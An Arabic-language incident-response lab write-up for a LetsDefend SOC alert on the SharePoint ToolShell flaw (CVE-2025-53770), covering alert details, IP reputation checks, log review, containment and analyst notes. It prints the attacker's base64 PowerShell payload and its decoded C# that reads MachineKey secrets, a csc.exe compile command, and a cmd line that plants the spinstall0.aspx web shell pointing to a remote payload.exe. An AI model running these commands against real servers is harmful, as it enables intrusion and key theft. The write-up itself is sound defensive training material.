
شرح خطوة بخطوة لاستغلال CVE-2025-53770 (ToolShell) في مختبر LetsDefend، يغطي RCE ونشر شيل الويب وتحليل الاستجابة للحوادث.
TL;DR مرحبًا، في هذا المختبر من LetsDefend تعمّقت في ثغرة يوم-الصفر الخاصة بـ SharePoint والتي تُسمى ToolShell (CVE-2025-53770). ببساطة، حاكيت هجومًا واقعيًا حيث تجاوز طلب POST خبيث المصادقة، ونفّذ PowerShell لسرقة مفاتيح MachineKeySection، وترجَم payload.exe، وأسقط ويب شيل (spinstall0.aspx). سجّلت كل شيء، وحللت السلوك، واحتوت المضيف. يغطي هذا الملف الهجوم وخطواتي والدروس المستفادة.
نظرة عامة على المختبر
الأدوات المستخدمة:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend Log Management
LetsDefend Endpoint Security
LetsDefend Threat Intel


معرّف الحدث : 320
وقت الحدث : 22 يوليو 2025، 01:07 مساءً
القاعدة : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Auth Bypass and RCE
المستوى : محلل أمني
اسم المضيف : SharePoint01
عنوان IP المصدر : 107.191.58.76
عنوان IP الوجهة : 172.16.20.17
طريقة طلب HTTP : POST
عنوان URL المطلوب : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
وكيل المستخدم : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
المرجع (Referer) : /_layouts/SignOut.aspx
طول المحتوى : 7699
سبب إطلاق التنبيه : طلب POST غير موثَّق ومريب يستهدف ToolPane.aspx بحجم حمولة كبير ومرجع Referer مزوَّر، مما يشير إلى استغلال CVE-2025-53770.
إجراء الجهاز : مسموح
نظرة عامة
في 22 يوليو 2025، رصدت أنظمة المراقبة الأمنية لدينا هجومًا حرجًا من نوع يوم-الصفر يستهدف خادم SharePoint محليًا باسم SharePoint01.
تفاصيل CVE:
كتالوج CISA KEV: نُشر الإدخال في 20 يوليو 2025
متجه الهجوم: طلب POST إلى نقطة النهاية /ToolPane.aspx، مع ترويسة Referer مزوّفة وحمولة خبيثة كبيرة
المصدر: عنوان IP 107.191.58.76، Vultr Holdings, LLC، الولايات المتحدة
حول SharePoint
مايكروسوفت SharePoint هو العمود الفقري للتعاون المؤسسي وإدارة المستندات. إنه في الأساس مساحة آمنة ومنظمة تشبه السحابة للملفات وسير العمل والتطبيقات الداخلية.
الاستخدامات الأساسية:
إدارة المستندات: التحكم في الإصدارات، سجلات التدقيق، التحكم في الملفات
التعاون: تحرير عدة مستخدمين للمستند نفسه في الوقت نفسه
بوابات الويب الداخلية: الأخبار والتحديثات ومعلومات الموارد البشرية والسياسات
سير العمل الآلي: الموافقات والنماذج والإشعارات
التكامل: مرتبط ارتباطًا وثيقًا بـ Teams وOutlook وحزمة Office وPower BI
الاعتبارات الأمنية:
المصادقة: AD أو SSO
التشفير: البيانات المخزنة وأثناء النقل
أجزاء الويب والتخطيطات: يمكن استغلالها إذا أُسيء ضبط إعداداتها
إدارة التصحيحات: أمر بالغ الأهمية لمنع هجمات يوم-الصفر
CVE-2025-53770 وتُسمى أيضًا ToolShell، هي ثغرة يوم-الصفر في SharePoint تُستغل في البيئات الحقيقية. إنها ثغرة حرجة في إلغاء التسلسل (Deserialization) في خوادم Microsoft SharePoint المحلية تتيح تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة. تتقاطع مع ثغرات أخرى في SharePoint (CVE-2025-49704 وCVE-2025-49706) لاختراق الأنظمة بالكامل. حصلت على درجة CVSS تبلغ 9.8، ما يعني أنها حرجة.
يرفعون ويب شيل خبيث مثل spinstall0.aspx عبر نقطة النهاية ToolPane.aspx باستخدام ترويسات Referer مزوّفة لتجاوز المصادقة.
يستخرجون قيم MachineKey الحساسة من إعدادات SharePoint لإنشاء حمولات ViewState موثوقة لضمان وصول مستمر.
ولاحقًا ينشرون برمجيات الفدية (مثل سلالة "Warlock") أو يسرقون بيانات الاعتماد ويثبّتون أبوابًا خلفية.
أول إفصاح علني: 19 يوليو 2025 (مدونة Microsoft)
صدرت التصحيحات: 20–21 يوليو 2025
أُدرج في كتالوج KEV التابع لـ CISA: 20 يوليو 2025
حللت عنوان IP الخاص بالمرسل (عنوان IP المصدر) على VirusTotal
عنوان IP المصدر : 107.191.58.76

من هذا أعرف مسبقًا أن عنوان الـ IP خبيث
الآن يجب أن أبحث عن موقع مصدر عنوان الـ IP بمساعدة AbuseIPDB

هذا ما حصلت عليه:
مزود خدمة الإنترنت Vultr Holdings, LLC
نوع الاستخدام مركز بيانات/استضافة ويب/عبور
ASN AS20473
اسم المضيف (المضيفات) 107.191.58.76.vultrusercontent.com
اسم النطاق vultr.com
الدولة الولايات المتحدة الأمريكية
المدينة لوس أنجلوس، كاليفورنيا
عنوان IP معروف بالاختراق، وهجمات القوة الغاشمة، وهجمات تطبيقات الويب، وفحص المنافذ، وتسميم DNS
كمحلل مبتدئ يحل هذه الحالة كيف تعاملت معها أولًا بحثت عن المضيف في أمان نقاط النهاية (Endpoint Security) بالاسم "SharePoint01".

بعد تحديد موقع المضيف، ذهبت إلى سجل الأوامر في الطرفية (Terminal History)، فوجدت سطر أوامر

ماذا يحدث في هذا الأمر؟
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ يشغّل PowerShell مباشرة من مجلد النظام.
-nop
→ بدون ملف تعريف (No Profile) — يتجاهل سكربتات ملف تعريف PowerShell لتجنب الاكتشاف أو التداخل.
-w hidden
→ يعمل بنافذة مخفية بحيث لا يراها المستخدم.
-e
لنفكّ تشفير هذا
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
الخطوة 1: الاستطلاع والتقاط الحمولة
تم التقاط طلب POST إلى /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
الطريقة: طلب POST إلى /ToolPane.aspx يتجاوز المصادقة
الحمولة: سكربت PowerShell كبير ومشوَّش ومشفّر بـ Base64
ترويسة Referer: مزوّفة لإخفاء المصدر الأصلي
الخطوة 2: التنفيذ والاستغلال:
تابعت إلى فك تشفير السكربت/الحمولة في أداة فك تشفير Base64
فككت التشفير بـ Base64 وحصلت على هذا
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

دعني أوضح ماذا يفعل السكربت أعلاه
يستورد:
-System.Diagnostics
-System.IO
⦁ ثم يشغّل سكربت C# مضمّنًا داخل PowerShell يقوم بـ:
-تحميل تجميعات System.Web
-الوصول إلى System.Web.Configuration.MachineKeySection
-استرجاع مفاتيح التحقق (Validation) وفك التشفير (Decryption) من ملف web.config الخاص بالجهاز
-ثم يكتبها في الاستجابة، ما يشير على الأرجح إلى تسريبها إلى المهاجم
واصل المهاجم بعد ذلك إرسال هذا الأمر:
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - مترجم لغة C# مع إطار عمل .NET
-ثم يطلب من المترجم حفظ "payload.exe" هذا على المضيف
قد تكون هذه الحمولة برمجية خبيثة
سطر الأوامر التالي من المهاجم
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
ماذا يفعل
"C:\Windows\System32\cmd.exe" /c -
يشغّل الأمر التالي في موجه الأوامر ثم ينهي عمله.
echo <form runat=\"server\"> ... </form>-
يكتب جزءًا صغيرًا من ترميز ASP.NET سيعمل على خادم SharePoint.
يحتوي الترميز على:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
هذا الـ CLSID هو عنصر تحكم Shell ActiveX (يُستخدم لتشغيل أوامر الصدفة أو تنفيذ إجراءات خاصة في سياق IE/COM).
<param name="Command" value="Redirect"> -
يخبر العنصر بالإجراء الذي يجب تنفيذه.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
يشير إلى ملف EXE خبيث مستضاف على خادم بعيد — على الأرجح أنه البرمجية الخبيثة الفعلية.
سطر الأوامر التالي من المهاجم
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
ومرة أخرى، ماذا يفعل:
"C:\Windows\System32\cmd.exe" /c -
يشغّل الأمر التالي في موجه الأوامر ثم ينهي عمله.
echo <form runat=\"server\"> ... </form> -
يكتب جزءًا صغيرًا من ترميز ASP.NET سيعمل على خادم SharePoint.
وكذلك
يحتوي الترميز على:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
This CLSID is the Shell ActiveX control (used to run shell commands or do special actions in IE/COM context).
<param name="Command" value="Redirect">-
يخبر العنصر بالإجراء الذي يجب تنفيذه.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
يشير إلى ملف EXE خبيث مستضاف على خادم بعيد — على الأرجح أنه البرمجية الخبيثة الفعلية.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
يحفظ كائن HTML/ASP.NET الخبيث بالكامل باسم spinstall0.aspx داخل مجلد layouts في SharePoint.
يمكن الوصول إلى أي شيء في هذا المجلد من خلال تصفح عنوان URL الصحيح على موقع SharePoint، ما يعني أن المهاجم أصبح لديه الآن صفحة ويب على خادمك تعمل على تشغيل الإجراء الخبيث.
سطور الأوامر التي عثرت عليها مذكورة أدناه:


بعد التأكد من أن هذا الأمر خطير، واصلت استكشاف العمليات على المضيف.
يبدو مريبًا، مليئًا بالكثير من مسارات الملفات والملفات التنفيذية exe
بدافع الفضول فقط، ذهبت إلى إدارة السجلات (Log Management) وبحثت عن عنوان الـ IP الخبيث في السجلات.
رأيت سجلًا خامًا (Raw Log) يحتوي على طلب POST
مع مرجع (Referer) - /_layouts/SignOut.aspx
تابعت للتحقق مما إذا كان الهجوم ناجحًا.
أتعرفون ماذا؟ لقد كان ناجحًا، لذا يجب عليّ الآن احتواؤه لتسليمه إلى SOC2
هذه هي ملاحظتي كمحلل:
رصدنا هجومًا حرجًا يستغل ثغرة يوم-الصفر المسماة ToolShell (CVE-2025-53770) في خادم SharePoint محلي باسم SharePoint01. أرسل المهاجم، من عنوان IP خبيث معروف (107.191.58.76)، طلب POST غير موثَّق بحمولة ضخمة إلى نقطة نهاية SharePoint (ToolPane.aspx)، متجاوزًا المصادقة لتنفيذ تعليمات برمجية عن بُعد على الخادم.
وبالتعمق أكثر، نفّذ المهاجم أوامر PowerShell مخفية فكّت تشفير سكربتات Base64 لسرقة قيم MachineKey الحساسة في SharePoint، ما سمح له بصياغة حمولات موثوقة. ثم ترجَم ملفًا تنفيذيًا خبيثًا على المضيف، وزرع ويب شيل (spinstall0.aspx) في مجلد layouts الخاص بـ SharePoint، والذي يقوم بتنزيل وتشغيل برمجيات خبيثة من خادمه، ما يمنحه وصولًا خلفيًا مستمرًا.
بعد تأكيد الاختراق، قمنا باحتواء المضيف المتأثر وأوصينا بتطبيق التصحيحات فورًا نظرًا لأن الإصلاحات صدرت قبل أيام فقط. كما نقوم بفحص بحثًا عن ويب شيل أخرى، ونراقب أي برمجيات فدية أو سرقة بيانات، وننصح بتشديد الأمان حول خوادم SharePoint لمنع المزيد من الضرر.
وهذه الملاحظة إلى الفريق:
ملاحظة إلى الفريق: مرحبًا أيها الفريق، رصدنا استغلالًا حرجًا لثغرة يوم-الصفر ToolShell (CVE-2025-53770) على خادم SharePoint لدينا (SharePoint01). استخدم المهاجم طلب POST غير موثَّق لتجاوز المصادقة وتنفيذ تعليمات برمجية عن بُعد، بدءًا بحمولة كبيرة مريبة تستهدف ToolPane.aspx.
نفّذ المهاجم أوامر PowerShell مخفية لسرقة مفاتيح SharePoint الحساسة (Machine Keys)، ثم ترجَم وأسقط ملفًا تنفيذيًا خبيثًا على النظام. كما أنشأ ويب شيل (spinstall0.aspx) في مجلد layouts الخاص بـ SharePoint، والذي ينزّل ويشغّل برمجيات خبيثة من خادم خارجي، ما قد يمنحه تحكمًا مستمرًا.
قمنا باحتواء المضيف المخترق ونوصي بتطبيق التصحيحات بشكل عاجل نظرًا لأن الإصلاحات صدرت للتو. كما نقوم بفحص بحثًا عن ويب شيل مماثلة ومراقبة أي علامات على برمجيات الفدية أو تسريب البيانات. لنبقَ يقظين ونشدّد أمان SharePoint في المستقبل.
هذه هي نتيجتي
